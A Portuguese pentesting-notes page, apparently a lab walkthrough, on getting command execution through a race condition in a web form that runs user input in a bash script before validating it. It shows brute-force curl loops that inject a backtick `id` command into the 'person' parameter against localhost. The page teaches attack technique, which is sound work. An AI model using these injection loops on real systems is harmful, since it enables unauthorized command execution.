> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/race-condition-attack/race-condition-rce-pentesting-web.md).

# RCE por condição de corrida

Aqui está a interfathis onde nós **entramos** nosso nome:

<figure><img src="/files/52617eb5f5ef09f46ba7bdbfccb7efd3688abfa4" alt=""><figcaption></figcaption></figure>

Este nome **aparece na URL** em GET com o formato abaixo:

<figure><img src="/files/4acbd437ad9241891d2ef465ed336ad6ce34027a" alt=""><figcaption></figcaption></figure>

Aqui está o código que tentaremos comprometer. Ele cria um temporário **hello.sh** arquivo com o nome fornecido:

<figure><img src="/files/fbe18c85991474689a2fb4e23b2bff7d697c2924" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9851e3fb8d4d86f65489e53fc427318aa8e25089" alt=""><figcaption></figcaption></figure>

Isso significa que, como o Bash está em execução, podemos **executar comandos**, mas, neste caso, ocorre um erro:

<figure><img src="/files/9b0e42dce226684e1cced5002624ee89f599a3a7" alt=""><figcaption></figcaption></figure>

O **erro** ocorre porque há uma pequena validação de **caracteres permitidos**. MAS, primeiro, o comando é executado, depois a validação ocorre:

<figure><img src="/files/9c3d2c883e87705652727c1aabfb81770f984849" alt=""><figcaption></figcaption></figure>

Aproveitamos o fato de que há alguns **milissegundos** antes de o script ser executado antes de ser validado, enviando muitas requisições e em **conseguindo visualizar o conteúdo**:

```bash
while true; do cat hello.txt | grep -v "test"; done

```

<figure><img src="/files/42d0e14ad157f403a0cb92f2d504f74a43bb2e38" alt=""><figcaption></figcaption></figure>

Em um caso real em que não teríamos **nenhum acesso** ao arquivo "hello.txt", usamos **curl** da seguinte forma

1. definimos **em solicitações ao listener** e filtrando pelo campo que nos interessa:

```bash
while true; do curl -s -X GET 'http://localhost:5000/?action=run' | grep "Check this out" | html2text | xargs; done

```

2. Lançamos um ataque de força bruta **até que a condição seja atendida**

```bash
while true; do curl -s -X GET 'http://localhost:5000/?person=`id`&action=validate'; done

```

<figure><img src="/files/c3f4cd3449bdb229f5307e4c56c9842b8409b4f5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/race-condition-attack/race-condition-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
